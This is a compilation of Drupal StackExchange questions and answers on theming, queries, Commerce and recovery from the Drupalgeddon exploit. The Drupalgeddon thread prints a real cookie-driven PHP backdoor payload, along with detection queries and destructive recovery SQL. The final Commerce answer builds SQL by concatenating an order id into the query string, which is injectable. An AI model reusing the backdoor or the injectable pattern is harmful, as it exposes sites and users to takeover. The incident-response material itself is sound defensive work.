What's crazy is that the page renders just fine; the image disappears when the node has content in both fields. What's even *crazier* is that the error appeared after a minor tweak to the above code, so I reverted my change and *it still throws this error*, no matter how many times I flush my caches.

What is happening here? This very same code worked fine for a long time, but now I can't seem to get rid of this error!

# Answer
> 1 votes
First thing to note is you're seeing *notices*, not errors. Notices are a less severe type of PHP error. It's an alert that notes script execution is continuing, but something is wrong that could be a bigger problem. In your case, the array element `$fields['field_video']` doesn't exist,
thus trying reference a property `$fields['field_video']->content` on a non-existant object causes PHP to fire off notices.

As Geoff mentioned, this can occur if your view rows are loading nodes that don't produce this field and throwing an `isset($fields['field_video']) &&` in your if statement should fix your template from making bad references.

---
Tags: views, entities, theming
---


title: Uploaded image accessible by many nodes

text:
# Question
Title: Uploaded image accessible by many nodes
Is it possible to upload an image to Drupal which is accessible by all nodes programmatically?

What I want to do is upload an image to display as a banner (CSS background) for nodes that have a specific radio button selected.

My idea is to have the user upload the image to one place then in my **template.php** file detect which radio button has been selected & from that pull that image in as a CSS background.

Is this even possible?

# Answer
Yes, any file uploaded into an image field in Drupal is accessible by its File API.

To address your issue, there are many ways to go about this. One solution that comes to mind is a multistep solution:

1. Create a content type with an image field. You'll be using this content type to manage any background images you want.
2. On the node type that you want to add an image background to, add an Entity Reference field that references the node type created in #1 with a `Checkboxes/radio button` widget.
3. Edit your theme's **template.php** to add/update the `MYTHEME_preprocess_node($variables)` function. Inside of this function you'll be using `$variables['node']`, `node_load()`, `file_load()`, & `drupal_add_css()` to retrieve your selected image node reference, load the node, lookup the referenced file, & add inline CSS to your node display.
> 1 votes

---
Tags: 7, nodes, media
---


title: Badge for menu link

text:
# Question
Title: Badge for menu link
I am building a Bootstrap 3 sub theme where I want to display some information next to menu link in main menu. I tried to implement `hook_menu_link_alter` in template.php file in following way

```
function mytheme_menu_link_alter(&$item){
if($item['title'] == 'Messages'){
$item['title']= $item['title'].'<span class="badge">X</span>';
}
}

```

but it does not work. The same stuff with `link_title`. Whta should be fixed in code to make it work?

# Answer
> 1 votes
you can override the output of theme\_menu\_link() to produce what you want:

```
function THEME_menu_link(&$variables)
{
    $element = $variables['element'];
    $sub_menu = '';

    $element['#attributes']['class'][] = 'menu-' . $element['#original_link']['mlid'];

    if ($element['#below'])
    {
        $sub_menu = drupal_render($element['#below']);
    }
    $output = l($element['#title'], $element['#href'], $element['#localized_options']);

    if($variables['element']['#title'] == 'Messages')
    {
        // to just add the text
        $output .= '<span class="badge">X</span>';

        // to include it as a link
        $output .= l('X', $element['#href'], array('attributes' => array('class' => 'badge')));
    }

    return '<li' . drupal_attributes($element['#attributes']) . '>' . $output . $sub_menu . "</li>\n";
}

```

---
Tags: navigation, routes
---


# Question
Title: How to maintain a Drupal project on GitHub
I maintain several modules on drupal.org. Having spent years doing things "the drupal way" (remember CVS?) I'd like to make my life a bit easier and use GitHub.

While there may be political reasons this could be undesirable, are there any technical reasons? I imagine one-way syncing could be as simple as a cron job that does a fast-forward push from a github repo to the corresponding drupal.org repo.

Is that all there is to it? Are there existing tools to facilitate this?

# Answer
> 5 votes
Technically, this post on SO covers pushing/pulling from multiple git remotes. In your case, it sounds like you'd set up 2 remotes (git.drupal.org & github.com), pull/push from github.com as needed, then push to git.drupal.org when you're ready to publish updates.

As far as the politics, checkout this thread on g.d.o. It might contain some thoughts/insights from other people who are in the same situation you're in.

# Answer
> 3 votes
The maintainers of the RESTful module were talking recently about their reasons and experience developing the module entirely on Github:

https://www.lullabot.com/blog/podcasts/drupalizeme-podcast/55-restful-module

(minute 38:32)

Hope it helps,

# Answer
> 2 votes
You could consider the http://hubdrop.org/ service

~~http://thinkdrop.net/blog-entry/february-26-2014-902am/introducing-hubdropio-bridging-gap-between-drupalorg-and-github~~

# Answer
> 1 votes
It makes a lot of sense to use GitHub if you want to publish experimental code. The modules that you'll never plan to publish as a full project.

When you manage a contributed module, everyone is free to participate. Besides, drupal.org has tight integration with git.drupal.org, so you really have to use it.

* Commit attribution
* Issue mentions in commit messages fed back to the mentioned issue.
* Vetting process for new developers.
* Project release integration (branches and tags).
* Module security reviews and project ownership transfers.

I do not think it would be better if you move your code over to GitHub and ask others to participate there. Besides, I'm really happy with the version control systems now we have and how they have advanced over time.

However, if you maintain any other Drupal addons, for example, an configuration file for an IDE, a site migration script, proof of concepts, or something like that, I think github would fit better. Also, there is a requirement to publish your code under GPL if you want to use drupal.org git.

I also maintain some modules, and I add github remote handler in addition to the drupal.org one. When you push your code, you can simply push it to GitHub the same way.

---
Tags: version-control
---


# Question
Title: How to import user address profiles into Drupal Commerce?
I have users with their profiles in a CSV file, state, street, phone... etc.

I tried using feeds to import this into Commerce, but it does not work. The profiles are not attached to users. I did a 2 step process with 2 feeds importers, but it isn't working, any ideas?

# Answer
> 1 votes
Migrate module is the best way to import those things.

---
Tags: commerce, users, feeds
---


# Question
Title: db_query('SELECT nid FROM uc_products'); doesn't give any results! Why?
There's a really simple query related to the **enabled and working** Ubercart, where the task is to get all the nids from `uc_products` table, which simply doesn't give any results:

```
$query = 'SELECT nid FROM uc_products';
$result = db_query($query);
dsm('===================================================');
dsm($query);
while ($nid = db_result($result)) {
    dsm('$nid: '.$nid);
}

```

BUT when I run the very **same query** in the same database **in phpMyAdmin**, **it works**, and it gives me ALL the correct results (I have 8 products now).

BUT the following queries work correctly, and give me all the expected results (the first is the strangest, because `vid` field is of the same type, but only has another name):

```
$query = 'SELECT vid FROM uc_products';
$result = db_query($query);
dsm('===================================================');
dsm($query);
while ($vid = db_result($result)) {
    dsm('$vid: '.$vid);
}

$query = 'SELECT * FROM uc_products';
$result = db_query($query);
dsm('===================================================');
dsm($query);
while ($row = db_fetch_object($result)) {
    dsm('$row->nid: '.$row->nid);
}

$query = 'SELECT nid FROM node';
$result = db_query($query);
dsm('===================================================');
dsm($query);
while ($nid = db_result($result)) {
    dsm('$nid: '.$nid);
}

```

Here's a screenshot of the test results:

As you can see, the first two queries don't return any results, while the others work correctly.
This is a really strange problem. I didn't modify the core modules, so I don't understand the situation. It doesn't matter whether I run it on localhost or my ongoing public server, the result is the same. This means that `uc_order_condition_has_products_form()` in Conditional Actions menu doesn't work correctly either. I've never ever met such problems in Drupal.

**Does anyone have a clue where I should start debugging?**

# Answer
I think it is likely because your first result is a "0" and php will evaluate that as a False, which stops your while loop from running.
> 2 votes

---
Tags: 6, ubercart, database
---


title: Drupal Content Access Control

text:
# Question
Title: Drupal Content Access Control
Exploring Drupal, so still lot of unknowns.

Drupal 7 out of the box can do the following :

* Authenticated users can create/edit/delete "their own" article content. - works out of the box
* Admin can create/edit/delete "any" article content - works out of the box.

Wondering if Drupal 7 out of the box can do the following?

* Authenticated users can "only" view their "own" article content. I only see the option "View Content" but it seems to be for "any user". So when the "auth user A" creates an article it's available for "any" user. Is there a way to restrict view. This goes for both published and un-published article.
* Does the access control extends to any content types as per above or custom code is required?

Thank you for your clarifications.

# Answer
Out of the box, no it does not. For that you need to use an add-on module:

> All the modules that implement an access control system.
> 1 votes

---
Tags: nodes, users
---


# Question
Title: Taxonomy terms as arguments to an entity-reference view
I have a two content types that are classified by terms of a certain vocabulary.

The first content references another by an entity reference field (auto-complete).

What I need is as following:

When I'm creating the first content type, I choose a taxonomy term from the term reference to classify the content.

Then the entity reference field only show the nodes that are classified by the selected term (the entity reference is being filtered by a view to show the nodes of the second content type).

Does anyone has a working solution?

# Answer
Entity reference autofill may help you. Here is a quote about it (from its project page):

> ... gives Entity reference fields an option to populate other form fields with data from selected referenced entities.
> 1 votes

# Answer
Have you tried the Reference field option limit module yet?

I think it's exactly what you're looking for. If you have two content types that both share the same term reference field, this module can be used to limit the entity reference field's list to those nodes that share the same term value as the current node...

Let us know if it works for you!
> 0 votes

---
Tags: views, entities, taxonomy-terms
---


title: How to hijack the route response?

text:
# Question
Title: How to hijack the route response?
I have a configuration form that if it wasn't previousely configured should be the only thing that the user is able to see.

I would like to hijack the response for the current page and display the form, **no matter what url the user is currently on**. I could do a redirect but I would rather learn how to do it this way.

I presume this is done via EventSubscriber, I'm just not exactly sure how. Do I have to render the form and set is as response? Or can I just alter the controller for active route? Which would seem more DX friendly to me.

\*I am not looking for contrib module to do this.

--

I was looking at the kernel events but the only viable events were

* **request** \- which already had the route "loaded"
* **controller** \- which is fine but in most cases it requires DI stuff so I cannot swap it so easily, and
* **response** \- too late, creating a new repsonse is not good for performance

# Answer
You could implement a `RouteEnhancer` that modifies the `_controller` entry in the route object to point to a controller which loads your form using `FormBuilder::getForm()`.

Another (heavier) approach would be to use a `RouteSubscriber` to alter all routes and change the `path:` entry to point to a path you define. The benefit of this approach is you control the entire output (instead of just the "main content"), including the menu tabs. However, it's not dynamic since routes are cached.
> 0 votes

# Answer
It could be done with Rules:

> The Rules module allows site administrators to define conditionally executed actions based on occurring events (known as reactive or ECA rules). It's a replacement with more features for the trigger module in core and the successor of the Drupal 5 workflow-ng module.

* set up a field for the user, boolean and use Field Permissions to hide it from users:

> The Field Permissions module allows site administrators to set field-level permissions to edit, view and create fields on any entity.

* Rules, Event - Drupal is Initialising
* Condition - Data field is empty, user field previously set up
* Action - redirect to form

Then you can set up an override for the form submit to set the user data field (or use Rules to do it), so that the condition is no longer met.
> 1 votes

# Answer
I would alter the controller for the active route, seems much cleaner and more accurate to the intended purpose.

You may also want to conditionally alter it based on permissions. i.e. this might be the desired case for admins/site builders/etc but could be really dangerous for a general user to be presented with a config form.
> 0 votes

---
Tags: 8, routes
---


# Question
Title: how to create a static view page which gets result from a content type?
Good day, I am wondering how do i create a static page, which displays the result of content types data? its like this: a user will fill a content type called "books" and insert data into fields like (author, type of book, published,localization). the type of book will be a taxonomy, which will determine if the book is a magazine, novel or a research.

think of the result page as an excel file, which will have a book, and its sub categorized into field of result numbers.

my point is, i want to create a static page, which will show result of the following:

1. how many research books available. (a field will be based on taxonomy term)
2. what are their localizations, foreign, or local.
3.

i know the a math operated result could use views\_calc module, but i wanted it as an independent page viewing the report, not to mention that not all will require math operation.

so once a user fills in the content types field, result is updated to the static view page automatically (like a report) to tell what and how many books types were inserted and what are they. please refer to the pic.

to clarify further, in database coding, i would execute my intended report for 1 result as from content type like this: "select * from books where type="magazine" and published= "yes"

so result will show how many magazines published, as in the pic.

i heard about forena module, but it seemed bit too complex for my task, which i think is simple. but im not sure.

im new to the web development era, i used to do basic java SE so im trying to avoid coding everything(which is my last option).

hope i made it clear. Thanks in advance

# Answer
> 1 votes
Looks like you need to look at some of the typical "page layout" modules, such as these ones (excerpts from their project pages):

* Display Suite.

> ... allows you to take full control over how your content is displayed using a drag and drop interface. Arrange your nodes, views, comments, user data etc. the way you want without having to work your way through dozens of template files. A predefined list of layouts (D7 only) is available for even more drag and drop fun!
* Panels.

> ... allows a site administrator to create customized layouts for multiple uses. At its core it is a drag and drop content manager that lets you visually design a layout and place content within that layout. Integration with other systems allows you to create nodes that use this, landing pages that use this, and even override system pages such as taxonomy and the node page so that you can customize the layout of your site with very fine grained permissions.

Not sure if *Display Suite* will be sufficient for all your needs, but *Panels* will pretty sure be helpfull. Possibly also with 'mini-panels' added to that.

Be prepared however to invest some time in learning about these amazing modules. A great resource for learning about Panels is the (free) video training about Learn Page manager. *Panels* uses 'Page manager', which is one of the sub-modules of Chaos tool suite (ctools)).

And after you become familiar with these modules, you may want to consider using Forena to create special (mini?) reports to be shown in (eg) a block on your page. Possibly also using Forena's integration with the BEAN module (another module to add to your list of modules to be reviewed ...). For more details about this integration, refer to Forena's Site Building Guide.

---
Tags: 7, views, nodes
---


title: Recurring Payment Reminder email

text:
# Question
Title: Recurring Payment Reminder email
I am selling some monthly basis services like website hosting. And I like to get prepaid payment for every month. So, how do I send email to my clients for notification by email to give payment for coming recurring date?

For example - A client purchase a digital service from our website in 5th of Jan. Next recurring payment date should be 5th Feb. So, I like to send recurring payment reminder before 15 days, then before 10 days (if not paid), then before 5 days (if not paid), then in the recurring date i.e. in 5th Feb.

I have install drupal 7, commerce recurring framework module, rules, rules scheduler. Currently I am stuck with how to send periodic email to my client for recurring date, after they have initially pay for the services?

Is this module is perfect for this - https://www.drupal.org/project/datereminder. I think this module - https://www.drupal.org/project/uc\_recurring is not sending email reminders. Specially I am looking for email reminders which will work with commerce recurring framework.

So, how can I do this?

# Answer
> 0 votes
You can do this by using Rules module.

> The Rules module allows site administrators to define conditionally executed actions based on occurring events (known as reactive or ECA rules). It's a replacement with more features for the trigger module in core and the successor of the Drupal 5 workflow-ng module.

How to Send Follow-Up Emails Using Rules Scheduler in Drupal 7 ?

---
Tags: emails
---


# Question
Title: How to integrate an Android database in Drupal?
How do I add an Android apps database contents to a Drupal site?

I have an Android app with a database having 3 tables. I also have a Drupal site with 3 content types as the 3 tables of apps databse.

What should I do so that the contents of apps database is imported to Drupal contents, so that each content type corresponds to the contents of the 3 tables in Android? Is there any module available for this?

# Answer
> 1 votes
Consider using the Feeds module for such kinds of imports. Here is an excerpt from its project page:

> Import or aggregate data as nodes, users, taxonomy terms or simple database records.
>
> * One-off imports and periodic aggregation of content
> * Import or aggregate RSS/Atom feeds
> * Import or aggregate CSV files
> * Import or aggregate OPML files
> * PubSubHubbub support
> * Create nodes, users, taxonomy terms or simple database records from import
> * Extensible to import any other kind of content
> * Granular mapping of input elements to Drupal content elements
> * Exportable configurations
> * Batched import for large files

Especially the first bullet seems to be what you're looking for.

Consider refining your question to provide some more details of the database format of your Android app. E.g. is it a PDO-compliant DBMS? If so, and in case you'd want to consider it, it might be possible to use a co-existance setup also (= use Drupal to only 'display' your data residing in your Android app).

---
Tags: importing-exporting, database
---


# Question
Title: Override Taxonomy Pages without entire page override
I need to override Taxonomy page (page--taxonomy--term.tpl.php) and wondering if it's possible to just override the content section of the page instead of the whole page.

I don't want to print all other regions again as I will to update different page tpls if I update some other part of the page template.

Cheers

# Answer
> 1 votes
1. You can use Panels module to create custom layout.

Or :

2. You can override `taxonomy-term.tpl.php` in your theme directory as following :

`taxonomy-term--[vocabulary-machine-name|tid].tpl.php`

I would suggest panel rather than overriding template files.

---
Tags: 7, theming
---


# Question
Title: Programmatically get input format in field template
We change some output in our field.tpl-files for body fields, depending on the input format that was used on the node (which itself depends on the user being able to modify it).

Now this worked by drilling down to `$element['#object']->body["und"][0]["format"]` but that's hardly best practice as illustrated by helpful articles.

But – what is the correct way to get a reliable, language-agnostic variable like `$ouptut['format']`?

Thanks for any infos on that!

# Answer
I would suggest you to create separate template based on field's text format. Here is the way:

1. Create a TEMPLATE\_preprocess\_field function in template.php file of your theme.
2. Copy and paste a file named "field.tpl.php" and rename it to "field--\[your-field-name\]--\[its-text-format\].tpl.php.

The function is :

```
function MYTHEME_preprocess_field($variables) {
  switch ($variables['element']['#field_name']) {

case 'body':
  $element = $variables['element'];
  $entity_type = $element['#entity_type'];
  $field_name = $element['#field_name'];
  $language = $element['#language'];
  $entity = $element['#object'];
  $values = field_get_items($entity_type, $entity, $field_name, $language);
  $item = array_shift($values);
  $format = $item['format'];
  $variables['theme_hook_suggestions'][] = 'field__' . $field_name . '__' . $format;
  break;
      }
    }

```
> 1 votes

---
Tags: 7, theming, input-formats
---


title: My first module: db_select question

text:
# Question
Title: My first module: db_select question
I'm working on my first module, in this module I want to show a pager to two similar nodes. (Yes I know there are modules for this but it's more complex then the above but I kept it simple to make my question more clear). I'm completely new to making modules and the way de db\_select works so I need some help with keeping my code clean and simple.

I have three tables I need information from.

* Table 1: node
* Table 2: field\_data\_field\_issue (referenced node)
* Table 3: field\_data\_field\_order (order of nodes field)

First I need to get the current node id. For this I use the following code:

```
if (arg(0) == 'node' && is_numeric(arg(1))) {
  // Get the nid
  $nid = arg(1);
}

```

Now I need to find the nid of the node the current node refers to. I have to do this in Table 2. So I use this query:

```
$subquery = db_select('field_data_field_issue', 'i');
 ->fields('i', array('field_ref_nid'))
 ->condition('entity_id', $nid)
 ->execute();
 return $subquery;

```

Third I need to find all nodes that have the same referenced node and order them by nid and order. So I'm going for a query with join:

```
$query = db_select('node', 'n');
$query->join("field_data_field_issue", "i", "n.nid = i.entity_id");
$query->join("field_data_field_order", "o", "n.nid = o.entity_id");
->fields('n', array('nid', 'title'))
->fields('o', array('field_order_value'))
->fields('i', array('field_issue_value'))
->condition('field_issue_value', $resultsubquery) //I don't know how to get the result in here?
->orderBy('nid') //First order by nid
->orderBy('field_order_value') //Then order by order
->execute();
return $query;

```

This is what I have till now. Things I didn't figure out yet and where I could use some help with are.

* How to get the result of $subquery in $query.
* Is this the way to do it? Is this clean enough and am I missing out on something?
* I need the two nodes next to the current node. So if the ordering is (nid): 3,2,4,5,1,6,8,9 and I'm currently at node 1 I want to output node 5 and 6.

Thanks in advance!

# Answer
> 0 votes
```
$header = array(
        array('data' => 'title',        'field' => 'title', 'sort' => 'ASC'),
        array('data' => 'cal name 1',   'field' => 'field_order_value'),
        array('data' => 'Cal name 2',   'field' => 'field_issue_value'),
    );

// $result = db_query("SQL here");

$rpt_data = array();

    foreach ($results as $key => $rpt_data1){
        $rpt_data[$key][] = 'Result item';
        $rpt_data[$key][] = $rpt_data1->product_title;
        $rpt_data[$key][] = $rpt_data1->stock_value;
    }

    if (count($rpt_data) == 0) {
        $output = t('<div class="no-data">Record not found.</div>');
    } else {
        $per_page = 20; // Initialize the pager
        $current_page = pager_default_initialize(count($rpt_data), $per_page);  // Split your list into page sized chunks
        $chunks = array_chunk($rpt_data, $per_page, TRUE);  // Show the appropriate items from the list
        $output = theme('table', array('header' => $header, 'rows' => $chunks[$current_page])); // Show the pager
        $output.= theme('pager', array('quantity',count($rpt_data)));
    }

```

---
Tags: 7, database
---


title: http request with authentication

text:
# Question
Title: http request with authentication
I'm trying to get data out of an .NET Web API into drupal in code. Everyting is working when the Web API is not secured/authenticated using the code below.

```
$request = drupal_http_request('http://10.129.132.253/StappAncor/api/person/1');
$items = drupal_json_decode($request->data);
dpm($items);

```

But when I publish the Web API onto my live server (behind authentication and https), I can't use the default drupal function drupal\_http\_request because it only supports basic authentication.

Any suggestions? Are the other WebClients I can use?

# Answer
When Drupal requests are not enough, I found cURL a good way.

> PHP supports libcurl, a library created by Daniel Stenberg, that allows you to connect and communicate to many different types of servers with many different types of protocols. libcurl currently supports the http, https, ftp, gopher, telnet, dict, file, and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading (this can also be done with PHP's ftp extension), HTTP form based upload, proxies, cookies, and user+password authentication.

It can either be used directly, or via cURL HTTP Request wrapper module.

> This is a module intended for developers, as it provides just one API to call: chr\_curl\_http\_request() (use curl\_http\_request() for versions 1.5 and earlier).
>
> The function chr\_curl\_http\_request() is an alternative implementation of Drupal core function drupal\_http\_request() using cURL. The function intends to be backwards compatible with drupal\_http\_request(), by accepting the same parameters in the same form and by returning the response in the same format.
> 1 votes

---
Tags: 7
---


# Question
Title: Drupal SA-CORE-2014-005 - How to tell if my server / sites were compromised?
I just updated all my sites using the patch method of resolving the Drupal SA-CORE-2014-005 exploit. I just read reports that just yesterday there is someone from a Russian IP infiltrating drupal sites.

https://www.drupal.org/SA-CORE-2014-005

My main concerns are now:

* How do I tell if my sites have been comprised?
* What should I search for in my apache access logs to detect if my site was a victim or not?
* So far what are these hackers doing to comprised sites?

# Answer
Here are some SQL queries that can be run against your site DB's to check for users with admin privileges, and which of those have accessed the site post 15th Oct.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005
> 6 votes

# Answer
If you're reading this article and hoping to check a Drupal 7 site more than a month after the exploit landed, **your site quite likely already got hacked**. Your best bet is to restore a backup from before the attacks commenced and work from there.

There is a FAQ on SA-CORE-2014-005.

> How do I tell if my sites have been compromised?

One way to quickly check if sites are compromised is with the Drupalgeddon drush command.

Install to your `~/.drush` with `drush dl drupalgeddon`

Then use `drush drupalgeddon-test` to test. Drush aliases make this easy and quick.

This tool can confirm an exploited site, but it *cannot* guarantee your site did not get exploited. There is no "clean bill of health" here unless you upgraded before the attacks started.

---

Site Audit module includes some of the checks from Drupalgeddon, and gives you a lot more useful input too. I highly recommend it. (EDIT: Now they work together - super nice!)

---

Security Review doesn't check for Drupalgeddon attacks but is worth having in your toolbelt too.

---

If your site codebase was writeable to the www user , you could additionally check for modified code using the hacked module. This module may not do what you think based on its name alone :)

---

While there is no single certain way to identify all compromised sites, these tools can help you identify the most common indications.

---

> What should I search for in my apache access logs to detect if my site was a victim or not?

Your access logs will contain a lot of POST requests by now. Unless you had taken the unusual step of logging all post data in advance of the bug, you're unlikely to have the information to tell which of these were malicious.

> So far what are these hackers doing to compromised sites?

Many are reporting that their sites are being patched by the hackers! As an attacker, this makes good sense - you don't want your newly hijacked site whipped out from underneath you by the *next* attacker :)

Other than that, I'd *guess* the sites are being used to harvest whatever valuable data is there (maybe grab some creds, maybe lift transaction details after exploiting) and to do boring things like send spam and work as humble botnet slaves. Oh, and further expand the attacker's empire of hijacked Drupal sites. (Sorry, I don't have any hacked sites to observe.)
> 29 votes

# Answer
Some checks for common attacks are (this is not an exhaustive list, but are some of the attacks seen in the wild so far):

* Check your user 1 account to make sure its user name, email address or password are what you expect them to be. Also check any other user accounts that have high levels of permissions if possible.
* Check for new user accounts that look suspicious.
* Check for changes to the roles on your system, for example any new roles or renamed roles.
* Check for permission changes. The most important aspect of this is to make sure that the anonymous user role (or other roles that anyone can sign themselves up to get) haven't been changed to give them increased access.
* Check for new custom blocks that may contain malicious code.
* Check for new custom nodes that may contain malicious code.
* Check for files on your file system that shouldn't be there. This is easy if you use version control because you can do git status or svn st to see if any new files are there.
* If they have uploaded malicious files then you can check your access logs for hits to strange file names that you are unfamiliar with.
* Check your menu router database table for malicious entries. For example (the drupalgeddon module/drush plugin on drupal.org has a good script for checking this table more thoroughly):

SELECT * FROM menu\_router WHERE access\_callback = 'file\_put\_contents';
* You can also just browse your menu router table for strange looking entries.

Some things hackers are trying to do are:

* Put php script files on your site that they can then run by hitting them in a browser. These scripts can do a wide range of malicious things. This is achieved through adding malicious menu router entries.
* Create admin users accounts for them to then use to do bad things to your site or take over your site.
* Change the user 1 email address so they can then password reset for that account and take over it.
* Change permissions on publicly accessible user roles.
* Add blocks/nodes/etc. that may contain malicious code. If you have the PHP filter enabled this is even more of a problem.

Unfortunately there are so many things an attacker could do to your database that it is pretty hard to give a full list of possibilities. They could do things that try to get them control of your site, or they could just break your site but dropping database tables or columns etc.

They could even just make very small changes to site configuration, like changing your site name or something like that, which is not the end of the world but is still problematic.

Basically, anything that you could do in your database by running an SQL command, an attacker could theoretically do.

All the modules mentioned in Chris Burgess's answer are very useful in checking these things.
> 24 votes

# Answer
I think I would go with the advice drupal.org "You should proceed under the assumption that every Drupal 7 website was compromised unless updated or patched before Oct 15th, 11pm UTC, that is 7 hours after the announcement.". As Bevan said in this comment "Updating or patching Drupal does not fix backdoors that attackers installed before updating or patching Drupal."

Bevan also made the following workflow chart to help you analyze if you might have been infected and how to recover and prevent. However, he ask everybody to go to his original article to ensure you have the latest version of the workflow. Also, Acquia make an interesting article about the attacks and patterns that they have experienced in Acquia Cloud
> 10 votes

# Answer
Quote from: https://www.drupal.org/node/2357241#comment-9258955

This is an example of the file that gets inserted into the menu\_router table access\_callback column:

```
a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

```

As you can see it's trying to create the file modules/image/vzoh.php but since I have only read permissions inside those directories php fails with.

Reports of people finding similar files created doing a search in your drupal directory: https://www.drupal.org/node/2357241#comment-9260017

---

What i did was do the following command:

**ack --type=php 'php \\$form' \> hacked\_searched\_php\_form1.txt**

==================

Quoted From: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Showing files that have changed on the live server: git status

Looking for code execution attempts via menu\_router: select * from menu\_router where access\_callback = 'file\_put\_contents'

Showing which files are on the live server and not in version control: diff -r docroot repo | grep docroot | grep 'Only in docroot'

Finding PHP files in the files directory: find . -path "\*php"

Checking the amount of time between when a user logged into your site and their most recent page visit: select (s.timestamp - u.login) / 60 / 60 / 24 AS days\_since\_login, u.uid from sessions s inner join users u on s.uid = u.uid;
> 4 votes

# Answer
A very good list of commands to tell if you've been comprimised.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

```
Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;

Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

```
> 3 votes

# Answer
You can check whether your website has been hacked with this online tool:

Drupal Check: The EngineHack

Obviously it has it's limitations, but it's a good starting point.
> 0 votes

---
Tags: 7, security
---


# Question
Title: Move the "required" span outside the field label
When a field is required, an asterisk is added inside the `<label>` tag in a `<span>` tag. for some reasons, I need to move the `<span>` tag outside the `<label>` tag, beside the `<label>` tag.

How can I achieve this?

# Answer
> 3 votes
You can achieve this goal via implementing theme\_form\_element\_label.

I hope you already know how to implement or override theme.

e.g.

```
function MYTHEMENAME_form_element_label($variables) {
  $element = $variables ['element'];
  // This is also used in the installer, pre-database setup.
  $t = get_t();

  // If title and required marker are both empty, output no label.
  if ((!isset($element ['#title']) || $element ['#title'] === '') && empty($element ['#required'])) {
    return '';
  }

  // If the element is required, a required marker is appended to the label.
  $required = !empty($element ['#required']) ? theme('form_required_marker', array('element' => $element)) : '';

  $title = filter_xss_admin($element ['#title']);

  $attributes = array();
  // Style the label as class option to display inline with the element.
  if ($element ['#title_display'] == 'after') {
    $attributes ['class'] = 'option';
  }
  // Show label only to screen readers to avoid disruption in visual flows.
  elseif ($element ['#title_display'] == 'invisible') {
    $attributes ['class'] = 'element-invisible';
  }

  if (!empty($element ['#id'])) {
    $attributes ['for'] = $element ['#id'];
  }

  // The leading whitespace helps visually separate fields from inline labels.
  return ' <label' . drupal_attributes($attributes) . '>' . $t('!title', array('!title' => $title,)) . "</label>" . $t('!required', array('!required' => $required)) . "\n";
}

```

Put this function on template.php

---
Tags: theming, entities
---


# Question
Title: Image wrapper by img tag with external url
I want to customize image field so as I am able to add external url and display in node without save locally.

The image is already online to another site. For example www.example.com/imageurl.jpg. The only thing I want to do is to wrap this on a drupal field like this `<img src="www.example.com/imageurl.jpg"/>`

Is there any solution?

Thank you

# Answer
You can use the Media module to get external images via their URL and show it in the node page.

By saving locally if you mean 'locally' in the server that is running Drupal then it doesn't do that. To achieve it you will need a separate server like `Amazon S3` to store your images alone.
> 0 votes

---
Tags: media
---


title: get taxonomy term from another database

text:
# Question
Title: get taxonomy term from another database
In a multisite installations where One site is as Master and has all the taxonomy terms defined. In second site i.e. Slave site, the content types are different but taxonomy terms are similar as of Master.

My quest is, how to get taxonomy terms from Master's database whenever taxonomy is called in Slave site, either be it content creation or Display.

The solution could be, `db_set_active('Master')` while any taxonomy term is called and change it to default `db_set_active()` after the taxonomy term is already displayed. But I am not sure where to place this.

Master has 4 taxonomy terms:

1. Bang
2. Dang
3. Chang
4. Nang

Slave has none, but while creating content in Slave there is a field type for Taxonomy reference, like:

Field Name: what is diyang? (Taxonomy terms reference with 4 options in the select list) which should get the taxonomy term from Master.

Any hints or ideas?

# Answer
You may need to share tables across database. You can read this note on how to share tables across instances. Though its not a good solution of what you want.

You can also use Services module to achieve this.
> 0 votes

---
Tags: 7, taxonomy-terms
---


# Question
Title: Buying same product simultaneously in drupal commerce
Case: There is a product in stock with 1 quantity. Now two or more buyers try to buy that product simultaneously.

I want to restrict any one from buying that product on first come first serve basis.

Is there any hook available ?

Please help.

# Answer
> 0 votes
Create a custom module. like

1. custom\_module.info
2. custom\_module.module

## and write this code in module file.

```
// form alter
function custom_module_form_alter(&$form, $form_state, $form_id) {
    if($form_id == 'commerce_checkout_form_checkout'){
        $form['buttons']['continue']['#submit'][] = 'paypal_check_handler';
    }
}
// form handler
function paypal_check_handler(&$form, $form_state){
    $order_number = $form_state['order']->order_number;
    $return = _get_current_stock($order_number);
    if($return=='goto_paypal'){
        db_query("UPDATE commerce_order SET status = 'checkout_payment' where order_id='$order_number'");
     }else{
       db_query("UPDATE commerce_order SET status = 'checkout_checkout' where order_id='$order_number'");
       drupal_set_message("Stock not available");
       drupal_goto('cart');
    }
}

/* To show items in cart on paypal window closed*/
function custom_module_commerce_checkout_page_info_alter(&$checkout_pages) {
  $checkout_pages['payment']['status_cart'] = TRUE;
}
/**
 * This function check current stock.
 */
function _get_current_stock($order_id) {

    global $user;
    $order = commerce_cart_order_load($user->uid); // get user order details

    // get all product id of current order
    $results = db_query("SELECT cp.product_id AS product_id, cli.quantity AS order_qty,fcs.commerce_stock_value AS stock_qty FROM commerce_line_item AS cli LEFT JOIN commerce_product AS cp ON cli.line_item_label=cp.sku LEFT JOIN field_data_commerce_stock AS fcs ON cp.product_id=fcs.entity_id WHERE cli.order_id='$order_id' AND cli.type ='product' ")->fetchAll();

    $product_ids = $qty = $stock_qty = array();
    /*
